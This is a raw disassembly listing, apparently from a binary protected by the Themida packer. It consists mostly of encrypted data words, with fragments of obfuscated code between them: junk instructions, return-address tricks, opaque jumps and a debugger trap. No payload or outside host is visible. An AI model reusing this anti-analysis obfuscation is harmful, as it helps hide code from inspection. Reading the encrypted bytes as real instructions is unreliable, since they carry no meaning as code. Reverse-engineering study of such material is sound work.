dd 801E34FFh, 665F47C5h, 0EF81C38Bh, 1ADF19B6h, 0C781D38Ah
dd 76E0950Eh, 81D1B70Fh, 1818BBEFh, 0F8E0F3Dh, 0E9000000h
dd 0Ah, 8EDF2232h, 0ACABA4B0h, 3C89D741h, 81D48033h, 8304F680h
dd 0C88B04EEh, 0A1E8FE81h, 850FFFFFh, 0FFFFFFB0h, 9E8h
dd 23400F00h, 9643EEF7h, 0BF0F8281h, 8D8D59C8h, 61861E1h
dd 9F58D89h, 0F9F90610h, 231985C7h, 6E100610h, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 9C7101C3h, 8C7FF3C9h, 65B58B01h, 0C7061009h, 1022C185h
dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1804h, 0C3504000h, 5790DCB1h, 95DF8193h, 66569EEAh
dd 0B5FFF38Bh, 6100865h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 0E2C35646h, 8E955D1h, 0FA000000h, 9EE43CE3h
dd 0FFB8CDF1h, 102DB995h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 78917644h
dd 0FF006AABh, 1031C995h, 0EBC08B06h, 0AB4B8459h, 799797C5h
dd 0C0E7AF96h, 826DA65Dh, 39468A1Bh, 450697FEh, 79F64E12h
dd 3E140D67h, 0E182B9Eh, 0F16E765h, 6FFEC162h, 0C541CA27h
dd 3C8501C5h, 0C13CEEA6h, 0A9F39310h, 1E5E4074h, 5BF1E435h
dd 0AA0EA38h, 380EF58Eh, 0A91EAAA7h, 976F6E89h, 6C4E0841h
dd 8D8D30F3h, 61862F4h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 75C35646h, 850BDB8Dh, 6100159h, 9F58D89h
dd 8D290610h, 6101069h, 231985C7h, 5EF80610h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 9509BAC3h, 6102361h, 31A59D89h, 85C70610h, 61022C1h
dd 0
; ---------------------------------------------------------------------------
sub [ebp+6102D01h], edi
push dword ptr [ebp+6102821h]
cmc
call dword ptr [ebp+6102DB9h]
push 0
push eax
call sub_5D173A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D173A proc near ; CODE XREF: Themida_:005D1732p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5D173A endp
; ---------------------------------------------------------------------------
dw 57E5h
dd 0DB19B88Eh, 95895671h, 6100CA9h, 95FF006Ah, 61031C9h
dd 4AEBC08Bh, 7A3F60F6h, 0C9F9FA8h, 0D0F64717h, 6DD4B708h
dd 9187C9F8h, 87FC9A7Fh, 8002FEAAh, 7F02F7C7h, 0CB0C33C5h
dd 0E6CABA60h, 88467B3Bh, 7B4077ECh, 0D9A7FDD5h, 7ADB0CA3h
dd 0A725E15Ch, 0D3AD3B1h, 113C9EA9h, 6EF9FC94h, 11E8C59Fh
dd 0B8000000h, 9D307FC7h, 5924EF4Eh, 6DCDFC0h, 9A99E8Ch
dd 1CA59D8Bh, 0F580610h, 68Bh, 359D8B00h, 81061016h, 6292C0h
dd 81B58B00h, 0B9061010h, 41B7B827h, 0A04BF181h, 6E841B7h
dd 90000000h, 0DFB64522h, 0ED9D8BB2h, 5E061027h, 0F781388Bh
dd 48A44C27h, 20E1958Bh, 0EF810610h, 73E785CBh, 30E68166h
dd 7DC78189h, 0F5634EC7h, 0C7EE8157h, 8F0A2C71h, 59958900h
dd 81061021h, 0CBD1E4E8h, 6E87Bh, 16370000h, 31677D9Fh
dd 15D58D29h, 815A0610h, 0CBD1E0C0h, 68D0F7Bh, 8B000000h
dd 1010D59Dh, 1E98306h, 1C850Fh, 0B5890000h, 61001EDh
dd 2CE9h, 0C1284E00h, 20B84F44h, 0DD983E86h, 6261455Fh
dd 8B663713h, 0FF7AE9D8h, 0D44AFFFFh, 43BFE176h, 0F2A397B1h
dd 0DFA3B296h, 0E91F3959h, 0FF8D8D91h, 0E9061864h, 9, 9805FCE0h
dd 2703DCCAh, 0F58D899Eh, 6A061009h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8A22C356h
dd 1985C7FCh, 0E0061023h, 6A00005Ah, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F8EBC352h
dd 11E8EAA7h, 0B2000000h, 0B491BAA1h, 4C2E9CE0h, 6A42139Fh
dd 8EADAB33h, 167D9D89h, 0C75E0610h, 1022C185h, 6, 3EF8000h
dd 30C5B5FFh, 1BB70610h, 2DB995FFh, 6A0610h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0F37237C3h
dd 705CDB7Eh, 8BBF401Bh, 100E9D9Dh, 0C5958906h, 6A06101Eh
dd 0C995FF00h
; ---------------------------------------------------------------------------
xor [eax], edx
loc_5D196A: ; DATA XREF: Themida_:0054BE60o
push es
mov eax, eax
jmp short loc_5D19AB
; ---------------------------------------------------------------------------
db 6Bh
dd 11FE1D6h, 0C8B9595Fh, 0C5204D80h, 5396B57Eh, 0F3A82E80h
dd 799249ACh, 60C4E2FBh, 0CCE004FDh, 0C53ADBh, 2A90B951h
dd 0C9B2F402h, 0D73758B9h, 0B3217F3Eh, 89B069FEh
db 57h, 0C2h, 54h
; ---------------------------------------------------------------------------
loc_5D19AB: ; CODE XREF: Themida_:005D196Dj
jmp short $+2
jmp loc_5D1D4C
; ---------------------------------------------------------------------------
jmp short loc_5D19EF
; ---------------------------------------------------------------------------
clc
inc esp
mov ch, 0Fh
fsub dword ptr [ebp+edx*8+30h]
test dword ptr [ebx-4Ch], 0DF56D20Fh
sub eax, 304C3AEEh
retn 0CF0Eh
; ---------------------------------------------------------------------------
db 5Bh
dd 74E829DCh, 520641E5h, 73E71CC3h, 3D858478h, 0D96BD419h
dd 7A3250DCh, 0CBB58743h, 0CC7C62E0h
db 6Dh, 82h, 0A6h
; ---------------------------------------------------------------------------
loc_5D19EF: ; CODE XREF: Themida_:005D19B2j
ror dword ptr [edx], 1
arpl [edi+0BBFA3D8h], cx
mov edi, ss
call far ptr 7302h:0B6F5971Eh
rcl dword ptr [edx-521160EAh], 1
shr dword ptr [ebp+493D782Eh], cl
in eax, dx
test ds:[esp+ecx*8+6Dh], bh
pusha
add al, 0E7h
outsd
call near ptr 0C4B0215Dh
sbb esp, esi
adc al, 0EAh
aas
cmp dword ptr [esp+ecx*8+6Dh], 63h
adc [edx], ebx
test al, 7Ch
int 3 ; Trap to Debugger
insd
dec esp
sal ah, 1
xlat
pop edi
test al, 0B5h
out dx, eax
mul dword ptr [edi-50h]
sub bl, [edx]
jno short locret_5D1A6D
add al, 14h
push ebx
dec ebp
adc [ebx], dl
das
inc ebx
inc esp
lahf
bound ebp, [esi+3C758FBCh]
jmp far ptr 746h:0EA61A607h
; ---------------------------------------------------------------------------
db 0F2h, 3Bh, 45h
dd 0E195D076h, 0EA0647EAh, 64A1460Dh, 5F7C9BE8h, 1899608Dh
dd 495F12BEh
; ---------------------------------------------------------------------------
inc esi
locret_5D1A6D: ; CODE XREF: Themida_:005D1A38j
retn 3522h
; ---------------------------------------------------------------------------
dd 863DB384h, 80587551h, 14D96089h, 564A269Eh, 14B8B70Fh
dd 861D569Eh, 92718A63h, 0D76A3Fh, 57940000h, 9691F5CAh
dd 2FF5D25Ch, 533F7E32h, 1F0AF4C8h, 6DCC7CA3h, 0EE12E743h
dd 0CC7C933Bh, 3EF6B6Dh, 32A6DB84h, 0DBC7FCA3h, 0F20CCFE6h
dd 0FC1B5A37h, 34E03C67h, 0CCB8EF95h, 0A34616CDh, 0B5927E62h
dd 17C10FA6h, 8A03419h, 0D5C57BBh, 6DB44BF0h, 78CD81B6h
dd 3D858461h, 0D99423CBh, 977FBC54h, 5E16183h, 8F1C0FE1h
dd 179E13B6h, 0BC70671Bh, 5CDFC17Dh, 0C48F6CA5h, 0DE0FE120h
dd 2EE5876Eh, 69153286h, 805A819Ch, 0FDDA15B9h, 0B3E230DBh
dd 0C6A29E13h, 0B526AD12h, 0C6D3F09Bh, 4A119423h, 919166A7h
dd 46EAE195h, 20C45307h, 3DC035E1h, 580DCC9Eh, 73364A1Fh
dd 8003BD83h, 0CC4BFF5Bh, 7B65D918h, 0A357B452h, 8F6193FBh
dd 392269Ch, 8562BE80h, 1EBD5CBFh, 0C245D4Ch, 0CBC267FCh
dd 0E02DE15h, 4C00D077h, 391D190Dh, 878DD985h, 19E94246h
dd 866309F9h, 3CF7E4F7h, 23F1338Bh, 265B0494h, 5B11C8B2h
dd 0D7F47024h, 826EA35Ch, 55275C03h, 0C3A8DD86h, 549328C4h
dd 2FEF0C98h, 8BAA495Ah, 702B9FD4h, 397B3C9Dh, 1C7Dh, 0BD5CCF00h
dd 345D4C1Eh, 0D267FC1Bh, 742BAA56h, 0D0C4FDA4h, 4BBC7054h
dd 30h, 407D32C1h, 504DA54h, 6DCC7CBDh, 7CCE7437h, 4A266DCCh
dd 3A01D652h, 5C825C91h, 0CC7C15ADh, 32DAF16Dh, 0C4F2D7FBh
dd 702793BFh, 1096203Dh, 2E407D32h, 8FBCF7ABh, 0D1DE1A79h
dd 0B693A2h, 0D678330Dh, 2E6DCCA9h, 0A0473E32h, 2EE217D0h
dd 0A9F54D3Ch, 15116DCCh, 77611531h, 46FC25BCh, 2DDCE00Bh
dd 6DCCA989h, 58532D53h, 6DCCA9EAh, 0DB670E0Ah, 3B6DCCA9h
dd 45D5BD6h, 5571FEEBh, 23E33068h, 0E2F72D71h, 7F2A4420h
dd 6DCC21C3h, 4934723h, 0C8B2265Bh, 457E23B6h, 9C26D551h
dd 786DCC21h, 0A53CDFFCh, 108Ah, 8023B600h, 329E2643h
dd 39504479h, 87E15D92h, 3D8032B5h, 64995249h, 3A7519B0h
dd 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h, 5B943950h
dd 417830A7h, 8953CF55h, 4C381E3h, 83000000h, 1C8704EBh
dd 24248B24h, 186068h, 24048900h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push edi
push 57A3DDCh
pop edi
shr edi, 8
or edi, 23B261E0h
dec edi
push ecx
mov ecx, 25AF1EBBh
xor edi, ecx
pop ecx
mov eax, edi
pop edi
push 3AC2h
mov [esp], esp
add dword ptr [esp], 4
pop esi
push ebx
push edi
mov edi, eax
mov ebx, edi
pop edi
mov [esi+8], ebx
pop ebx
push dword ptr [esp]
pop esi
add esp, 4
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_5534D8
; ---------------------------------------------------------------------------
dd 8AE9764Ch, 0FD6DC3DCh, 0A89FDB4Fh
; ---------------------------------------------------------------------------
loc_5D1D4C: ; CODE XREF: Themida_:005D19ADj
mov eax, 6186857h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0C9h, 0FDh, 0A3h
dd 3492662Bh, 0D3E14A2Ah, 0D0DB0C77h, 0CA8D506Eh, 43361F74h
dd 7590A67Dh, 0EDB4DF26h, 83146237h, 0B2EEF111h, 6605695Bh
dd 5045917Ah, 63450943h, 62A0141Ch, 622FDA67h, 291D9A6Bh
dd 78E494Eh, 0BC740040h, 390C3525h, 0C60EB63Bh, 0D754CF2Eh
dd 370E4805h, 54A6B705h, 126A941Eh, 107F0A6Eh, 0D25D4A30h
dd 2CF1868h, 0BF961713h, 0C5DC8079h, 58C28B52h, 13E9h
dd 91666E00h, 0CBDED948h, 9D9E585Ah, 0BDE20A1Ch, 0FD5BD465h
dd 11E9EC8Ah, 6000000h, 833F7FDCh, 6269B089h, 0DC13018Bh
dd 0B0E566FAh, 10E8h, 0B8EA6000h, 0BF795E35h, 223AE6EBh
dd 0ABF33557h, 0CFBF0FEDh, 32E1815Ah, 0F22D0BBh, 0A87h
dd 5E900h, 26D90000h, 0B6339C73h, 0CE96Bh, 271F0000h, 0B9A2BFFAh
dd 8B482383h, 0BE901B7h, 0E4000000h, 96AF9FB8h, 2E61D955h
dd 0BA6676BFh, 60609EC2h, 81666160h, 610599CEh, 61DEB70Fh
dd 0E15B866h, 11E9h, 45E1FC00h, 5B63BF3h, 0A06C15FAh, 2DABB33Ch
dd 9E8025Ch, 0C0000000h, 0D735A350h, 59C5CDACh, 58B0Fh
dd 81660000h, 5EB374EAh, 0EEB3C181h, 5CB9064Dh, 0E9736CE5h
dd 5, 988E779Ah, 0C8BF0F0Dh, 10E9CC8Ah, 53000000h, 0C7A964E7h
dd 0C1B62F16h, 6B88DBCAh, 66BB167Bh, 0FF9FB8Bh, 0BF0FDFB7h
dd 0E9FC8AD0h, 12h, 6D64EBF5h, 725AA548h, 7769AF18h, 8BC15997h
dd 13E96E9Eh, 35000000h, 63C5AF24h, 71D07543h, 52EA32BDh
dd 57610035h, 8166766Ah, 0BE1AFADAh, 0C9A0E11h, 5840Fh
dd 81660000h, 0F3713E2h, 385h, 0C6B70F00h, 0BE50FA8Ah
dd 786C5592h, 8166F95Eh, 601801F1h, 61CF8B66h, 6E8h, 0E23BFF00h
dd 0F55A4984h, 0F9BF0F5Bh, 81F3B70Fh, 559C5CFh, 6F4EB978h
dd 8B522AD1h, 9E95FDEh, 96000000h, 67C918BCh, 4D8CEB9Dh
dd 0BE9h, 0F8E7D700h, 0CD6BBAE3h, 0A906F31Ah, 27DA5CBAh
dd 0F6B70F08h, 0EF818AB1h, 42FACFF1h, 0A6C18166h, 6686B6C3h
dd 0F8E63CBFh, 1810Fh, 0E8F90000h, 0Ch, 60FDE4F1h, 0A888A2BCh
dd 66115E5Dh, 8E9h, 0E8058C00h, 0BDEC4E88h, 0C480591Fh
dd 6800F58h, 81000000h, 0F84632E3h, 38A0F1Eh, 0F000000h
dd 80B6F3B7h, 0A850Fh, 5E90000h, 9D000000h, 0F9F152AEh
dd 0A6BA66FCh, 0AAB6BBBEh, 0BF0F5B0Bh, 11E8D0h, 8A9C0000h
dd 0DD22B8B1h, 0F4511591h, 184982DBh, 664273CCh, 0B65FC88Bh
dd 0C5C081C2h, 8148C1BFh, 0E998DFDFh, 10E839h, 0C2D70000h
dd 4AB7CED4h, 0C209B7A3h, 0D52D9A06h, 11BE993Fh, 58160CFCh
dd 8FC98166h, 0CA816616h, 0D2815ADBh, 30E17E0Dh, 0E9F0B70Fh
dd 11h, 0BA8E8909h, 0DEFAE468h, 9D50BA26h, 0F685232Eh
dd 0D6816686h, 11E9B034h, 0C2000000h, 5F37D00Bh, 2AE769FFh
dd 6952360Fh, 3CD67CFCh, 2870Fh, 0C38B0000h, 0CE9h, 0C4D28500h
dd 0B2F2A750h, 45BD8207h, 19870F87h, 0E8000000h, 13h, 0F888D2C1h
dd 0D19086DAh, 0A75889DBh, 0C4542A8Ah, 5B0727E2h, 18C0Fh
dd 81F90000h, 0D964F6E8h, 28810F22h, 0E8000000h, 12h, 0B9794085h
dd 4CFA0228h, 2F31EA0Bh, 0F39DBFDBh, 0BE909F3h, 37000000h
dd 0F890F7E5h, 2DE7B292h, 0E85E37A0h, 0Ch, 5DABC372h, 4538CC6Fh
dd 77062954h, 0BE616060h, 4D817978h, 0BF0F5861h, 61C381D7h
dd 800D8374h, 0F4808EE3h, 9E95Ch, 342F0000h, 785ED287h
dd 80E1286Eh, 81609FC4h, 0D78E87C3h, 7E96103h, 88000000h
dd 0DE740FD8h, 0BB66C9B8h, 840F89A3h, 2, 0F78BE88Ah, 2810Fh
dd 0DA8B0000h, 0FC3B70Fh, 8166FBBFh, 0F06D5EEh, 820FD7B7h
dd 4, 0C652BA66h, 9C6ABBF9h, 10E86195h, 3C000000h, 0A456A54Ch
dd 0A9147601h, 860FFA17h, 815455B3h, 4D0B13E1h, 0B70F5B64h
dd 1A1CBAC8h, 0DA8A0248h, 66C7BF0Fh, 0E830D181h, 12E9h
dd 3036BD00h, 0AB13564Ah, 5A39DACDh, 0B0FFF05Eh, 0E91A22CFh
dd 12h, 9240181Dh, 516132EAh, 99616A28h, 58C6FA3Ch, 0C1B812BAh
dd 0F39770Ah, 981h, 3820F00h, 80000000h, 0ADBB0AE6h, 0F853A8C9h
dd 5E9DE8Bh, 0F5000000h, 0DE750940h, 58C0Fh, 81660000h
dd 52149FDFh, 0AE9h, 0AB425A00h, 148DA412h, 5EFBEDBEh
dd 0D1B70FF5h, 97B25160h, 60E8815Fh, 616CC5CFh, 0BF0FE38Ah
dd 0BAD281DFh, 8A7AC26Ch, 0C78BFCDDh, 0ABADEBAh, 0D18B6641h
dd 0F95641B9h, 0F0D68133h, 664E5975h, 7D0CC081h, 0C8C0Fh
dd 7E90000h, 18000000h, 8A00B82Fh, 0E18A4B3Dh, 6E9D08Bh
dd 43000000h, 0EA6C57E3h, 38A0F0Ch, 66000000h, 0DC80CB8Bh
dd 0EE8E8h, 0AB6D0000h, 92720457h, 309C82F4h, 5E02E430h
dd 5AF38A50h, 0FE8B6658h, 0DE85857h, 0FE000000h, 0AF7E5FF0h
dd 5BFF01BFh, 743141FEh, 85CE8166h, 0F515E1Ah, 0D89h, 8E900h
dd 0C8C90000h, 0A4BFEC30h, 0B15A5398h, 5BB866FFh, 0B3D6B3F6h
dd 0CE993h, 27A60000h, 26FB7DCBh, 0DB50E87Dh, 0E8521B3Eh
dd 7, 6846DB38h, 0F82200E0h, 80605A5Ah, 0AE864E3h, 6C000000h
dd 9078E030h, 0EB2AEBD3h, 8A0F63h, 58000000h, 0D88B6661h
dd 0DF81DA8Bh, 7AC991FCh, 669EDB80h, 0F1198BEh, 8Dh, 14E900h
dd 0D3680000h, 9AAC8EA3h, 0FF270AABh, 29B21461h, 8BEFFB64h
dd 0D28072DCh, 40BB662Eh, 0F960529Eh, 8CEB8166h, 8B5E610Dh
dd 816660CBh, 0E8B4FAEFh, 0Bh, 0E5131816h, 2C74959Bh, 0BB668B89h
dd 2293B7B5h, 0FC57615Bh, 0C681665Eh, 0BE6625CCh, 0BA663461h
dd 11E9D80Eh, 0EE000000h, 56FCBB8Ah, 7B9223EDh, 82423B1Fh
dd 1EE9C2EAh, 0B86601B6h, 0F6811D0Eh, 35CE12D8h, 0F95EEBBEh
dd 1A810F51h, 0E8000000h, 14h, 6AB0B461h, 787B4519h, 90EBA165h
dd 43CAD94Ch, 43B37452h, 0FBBF0F5Bh, 30B9C38Bh, 66203B3Fh
dd 148CC281h, 7098BA66h, 15880F60h, 0E9000000h, 10h, 0E233137Eh
dd 0DD76680Ch, 886F599Dh, 0BF9E6ACFh, 61C88B66h, 65C18166h
dd 0EB816639h, 0F98A9437h, 0F4CD980h, 178Eh, 0EE800h, 0A3830000h
dd 0A30C0B7Eh, 1D2F6391h, 38634CD2h, 5FD08B66h, 14E8F9h
dd 2E560000h, 599ACA26h, 7C70A72Eh, 7D3108CAh, 5C1C8F59h
dd 870F4863h, 2, 0BF5FF98Bh, 5A00F2Dh, 0DF8BCB8Bh, 0FFBBDF8Bh
dd 0F432303h, 184h, 0BF60F800h, 1EC81232h, 8B0F61F5h, 1
dd 58BE66FCh, 0C2BF0FB5h, 0DE8h, 9DCABB00h, 0DBA38E90h
dd 3250583h, 8B0FC2BEh, 2, 0E95FF38Ah, 13h, 7B9358E5h
dd 3EB8ABEh, 0BF6B5CA4h, 563A32EDh, 0E82AAFC3h, 0Ah, 77CDF67Ah
dd 4A6B691Bh, 0E960019Fh, 12h, 3ABD299Dh, 0DDEF7D57h, 5C1B1CDCh
dd 6CA522B0h, 61F9D410h, 0DB816659h, 65BAD87Fh, 0F367C93h
dd 8A0FCBBFh, 14h, 0FE9h, 0D05E3A00h, 22550960h, 76789658h
dd 1FBCEBADh, 8E9F38Bh, 5D000000h, 0A374C237h, 0F5A47139h
dd 51F7B70Fh, 250BF66h, 28C0F59h, 8A000000h, 0F890FECh
dd 0E8000000h, 7, 272884E3h, 50EC796Dh, 11E85F59h, 2B000000h
dd 0AB7B0E76h, 4D421C55h, 336F8A5Ah, 770D701Eh, 0AC09EA81h
dd 0F9583FD8h, 0F0C68166h, 0E8816677h, 0FE978E9h, 99000000h
dd 0F5654427h, 0C55772B3h, 921B59Bh, 0BB66BC04h
dd 0D9BA8844h, 66537C25h, 5D5E081h, 816660F5h, 66D58CC9h
dd 8A61F38Bh, 0AE8CFh, 5BFE0000h, 85A06BEFh, 187CBE95h
dd 13E9h, 4A47EB00h, 572685D3h, 0FAD10159h, 680B3A39h
dd 0F6DB58Fh, 7E85Fh, 0BA970000h, 0F5BB4937h, 0F88B66A9h
dd 8E0F59h, 52000000h, 0C6B70F5Ah, 0D44FB866h, 58E0Fh
dd 48B80000h, 8A21E6F5h, 4037B9C1h, 816666ECh, 8AD334D6h
dd 0D38B66DAh, 0CAB70FF9h, 2FDD8056h, 54D9805Eh, 19A4D181h
dd 81560866h, 101331D9h, 0F9F85977h, 7E950h, 278A0000h
dd 6328507Fh, 8A0F5A34h, 1, 0AAB4BFF9h, 8E8567Ah, 71000000h
dd 9ECBB28Eh, 0BA1B9E2Eh, 0AC6478Fh, 8166F55Bh, 0B459CEEAh
dd 0FE8FCDFh, 53000000h, 675D33C4h, 0B8BC3651h, 3EB02807h
dd 0DE8B4002h, 138C0F58h, 0E9000000h, 0Eh, 0CAF81865h
dd 24254CBCh, 81EA7B9Fh, 0BF0F028Eh, 14E9C2h, 0E4700000h
dd 0A2D8C542h, 0CA611DCCh, 91A7C5FBh, 499CF11Fh, 81608422h
dd 0C842B2E3h, 5E951h, 8A680000h, 6101BC15h, 85C9AEB8h
dd 11E94Dh, 17190000h, 0A7485F2Ah, 8824407Ah, 73B6C16Ah
dd 8063C9ACh, 80601AD4h, 880F62F3h, 6, 8D0Fh, 0F9610000h
dd 1CBBB6BEh, 0E9FA8B74h, 10h, 0EC4617C5h, 2B736375h, 8391435Fh
dd 6A9457BBh, 0BE97AB0h, 35000000h, 0FF99221Ch, 303233E3h
dd 0CA8BF576h, 0CC87C881h, 0F38B1363h, 9BBA66FCh, 138C0F73h
dd 0E8000000h, 0Ah, 666312D8h, 1101993Ch, 0BF0F4C27h, 8B6658DBh
dd 0F08166DAh, 0D381069Eh, 38394158h, 8CBB5F56h, 607486B0h
dd 10E8F5h, 0CE220000h, 0AD5CE6B5h, 0F28B4569h, 99EF79AEh
dd 6159C102h, 19830Fh, 14E90000h, 4B000000h, 573C24A4h
dd 0E2C6B49Fh, 62F50AA1h, 0E488CEDFh, 0F97041Ah, 8166C6BFh
dd 0F3767C8h, 0E960D0BFh, 0Fh, 55122297h, 2655157Dh, 162C4B27h
dd 0BBA75B36h, 4B5A6888h, 8D0F6061h, 2, 9E9F1B7h, 5B000000h
dd 9890ACDh, 3E3A4A3Ch, 8B665761h, 0F5659DEh, 805AC2B7h
dd 0D88B07D7h, 0F78ACF8Ah, 10E9h, 0A90E9400h, 0CF541359h
dd 0FF7C7386h, 0F78CB5ACh, 0EFE08131h, 51279E94h, 5AA9CE80h
dd 0C30DF281h, 6E934D2h, 63000000h, 4CD21D2Fh, 8B66F963h
dd 5E9C2h, 561F0000h, 6096EADEh, 5800Fh, 81660000h, 0F12E9D2h
dd 0A8Bh, 5E900h, 932D0000h, 618C49FEh, 6650CE8Ah, 6059D68Bh
dd 7E8h, 9F068100h, 62E5482Dh, 8C0F615Eh, 2, 880FF88Bh
dd 6, 1783C781h, 0BF0F4F3Bh, 18810FDAh, 60000000h, 0FE95A57h
dd 4000000h, 427A99F7h, 0DEC4500Bh, 2F158FC8h, 8061B9FFh
dd 0E881D4D1h, 3D2AD142h, 5870Fh, 81660000h, 0F805A9D1h
dd 0CFBF0F52h, 13E958h, 59950000h, 0EFD354F7h, 75830B53h
dd 91052710h, 0B414336Dh, 8E8A5h, 7D780000h, 9F53C31Ah
dd 0E1811090h, 13CC60F5h, 0E8F78B59h, 0Fh, 7CB41D8h, 0A79EE285h
dd 0F07E8660h, 0F7E4CDFh, 1389h, 0EE900h, 35A70000h, 0E389D4C3h
dd 557D15D5h, 550CC57Eh, 148F0F58h, 0E9000000h, 0Fh, 800C9A2Fh
dd 0C97D21E1h, 460C40D2h, 0E9B604DBh, 8, 0CE03758Ch, 27B90E24h
dd 0E85CDB80h, 12h, 0A954C516h, 5908E257h, 0C7667C2Ch
dd 0D9953ECDh, 850FC521h, 6, 880Fh, 0F85A0000h, 13E8h
dd 88ACC400h, 169C6882h, 2E844966h, 0D4059A4h, 13607AC7h
dd 59C2B70Fh, 6659D580h, 664EE1BEh, 0BF0FCB8Bh, 0FB8B66DFh
dd 0C7816660h, 61F5454Bh, 8C0FFA8Bh, 0
; ---------------------------------------------------------------------------
jmp loc_5D2965
; ---------------------------------------------------------------------------
db 7Ah, 0ACh, 0E6h
dd 5B0330E5h, 76D22F72h, 37DB27h
db 0D3h
; ---------------------------------------------------------------------------
loc_5D2965: ; CODE XREF: Themida_:005D2950j
jge loc_5D298D
call sub_5D297F
adc dl, 0Bh
inc eax
iret
; ---------------------------------------------------------------------------
db 32h, 0D4h, 7Eh
dd 3D62F336h
db 0D3h, 26h, 0C5h
; =============== S U B R O U T I N E =======================================
sub_5D297F proc near ; CODE XREF: Themida_:005D296Bp
call sub_5D298B
pop ecx
mul byte ptr [edx+22h]
outsd
wait
xchg eax, edi
sub_5D297F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D298B proc near ; CODE XREF: sub_5D297Fp
pop edi
pop ebx
loc_5D298D: ; CODE XREF: Themida_:loc_5D2965j
jnz loc_5D299E
jb loc_5D299E
xor cx, 40D6h
loc_5D299E: ; CODE XREF: sub_5D298B:loc_5D298Dj
; sub_5D298B+8j
push ecx
mov cx, 0F16h
pop ecx
call near ptr loc_5D29AD+4
dec ebx
cwde
pusha
inc ecx
loc_5D29AD: ; CODE XREF: sub_5D298B+19p
add edi, [edx-7E994675h]
sub_5D298B endp ; sp-analysis failed
fisttp dword ptr ds:6E95Ah[esi*4]
; ---------------------------------------------------------------------------
dw 0
dd 53F022BDh, 0D0818D3Ah, 4B292FCh, 0BF0FECB7h, 0EA8166F8h
dd 7E91629h, 5A000000h, 68E93469h, 0F58AF84Dh, 299CB866h
dd 14E9h, 47D85000h, 0DFBF8D11h, 37ACE145h, 8973291Bh
dd 9FB02FC0h, 10E95317h, 0DF000000h, 52C7F511h, 0B86D94D0h
dd 0BC58686Eh, 5EA2977Ah, 1CF8166h, 0DE942h, 5B8E0000h
dd 510FDB1Fh, 0CA04EF2Eh, 0FDA3F80h, 138Ah, 5F566000h
dd 9E8h, 0F211F200h, 0C835AA8Ch, 6158FD2Ch, 0B8D98151h
dd 5F0C49C5h, 12880Fh, 0DE90000h, 28000000h, 5467DABBh
dd 4E331F03h, 0F45940A5h, 0AAF08166h, 660FB375h, 8060C28Bh
dd 0FC605CF7h, 0EE8h, 1E4BE900h, 8E93BD98h, 30F667DCh
dd 5A43CD8Ah, 21BF6161h, 0E91720BBh, 0Dh, 74682A16h, 5BC362B1h
dd 9F890832h, 0CE8B66B6h, 51FCD78Bh, 0B880Fh, 6E90000h
dd 0AA000000h, 7CB41D8h, 0F78B5885h, 6E9h, 9E411500h, 60929CC4h
dd 5E8E2B0h, 5B000000h, 8499279h, 5AC3BF0Fh, 0ABC58061h
dd 800F82B1h, 3, 0FD3BF0Fh, 8B66F9B7h, 0B70FF9DAh, 0F0F381FAh
dd 0E94CE865h, 5, 83AAEABAh, 0F8F5BECAh, 0B70F3457h, 28F0FC8h
dd 8A000000h, 0CE9E1h, 64D80000h, 40FD0478h, 4B5F6341h
dd 0BBF9A604h, 5D2B0B49h, 820F5B50h, 6, 13D8F781h, 0BE95479h
dd 51000000h, 48189567h, 0BCA309E6h, 0EE8F717h, 18000000h
dd 8A4273CCh, 0E6BC8467h, 0AB6F6F5h, 14E844h, 6BD90000h
dd 847BE11Ah, 727A2980h, 0B9329278h, 0E2CE9973h, 8166A659h
dd 59A5E8CFh, 5E95Bh, 72A70000h, 0F62D283h, 0F781F1BFh
dd 43E88D95h, 0BE8h, 9F4E8D00h, 9B7CAFE5h, 0DAC0EE22h
dd 0CE959h, 38B80000h, 77747621h, 762138B8h, 7E97774h
dd 82000000h, 79D8721Ah, 7E84E61h, 4000000h, 0B761E00Fh
dd 0EBB83F87h, 5F0A1AA6h, 810FF38Bh, 2, 0AE9E1B0h, 0C2000000h
dd 241F9ECAh, 0A48A4109h, 0F58A6085h, 0FF861FCh, 0AE9C7B7h
dd 8C000000h, 6EF63DD7h, 3C3CDB9Eh, 0DF81668Fh, 8157C48Ch
dd 0DDDA25D9h, 6B55F21h, 0A1F68166h, 0CF8166A4h, 0F609306h
dd 12E9C6BFh, 2D000000h, 9B1523FEh, 0E2D1D925h, 0FDEABFF2h
dd 36A5EC56h, 0FF861A8h, 1F8Ch, 870F6000h, 0
dd 11E8h, 0AADAF00h, 3361C469h, 0F4C4B6E8h, 92EEE48Ch
dd 615BCF18h, 7280B6BBh, 15880F40h, 0E8000000h, 9, 3653EC24h
dd 0A60C207Eh, 830FFEh, 5A000000h, 3E0579BAh, 1CEF816Ah
dd 6069A8E0h, 0B8DF8B66h, 1AC8387Dh, 0CA8BF561h, 8A8CC181h
dd 0E8F9613Ch, 0Dh, 9E64C65Eh, 0D9EA0371h, 0DE43F608h
dd 51B8668Dh, 850F5BBEh, 8, 0CCF28153h, 5A20FC7Eh, 1354B966h
dd 6A28BF66h, 0F368B966h, 8E986B1h, 0DD000000h, 0E6E444C8h
dd 8B02C26Dh, 0EDBA66F7h, 982BB869h, 8E93926h, 0E5000000h
dd 0DE88D87Bh, 66ECE0E4h, 66C61EBBh, 0F4418BBh, 0A8Bh
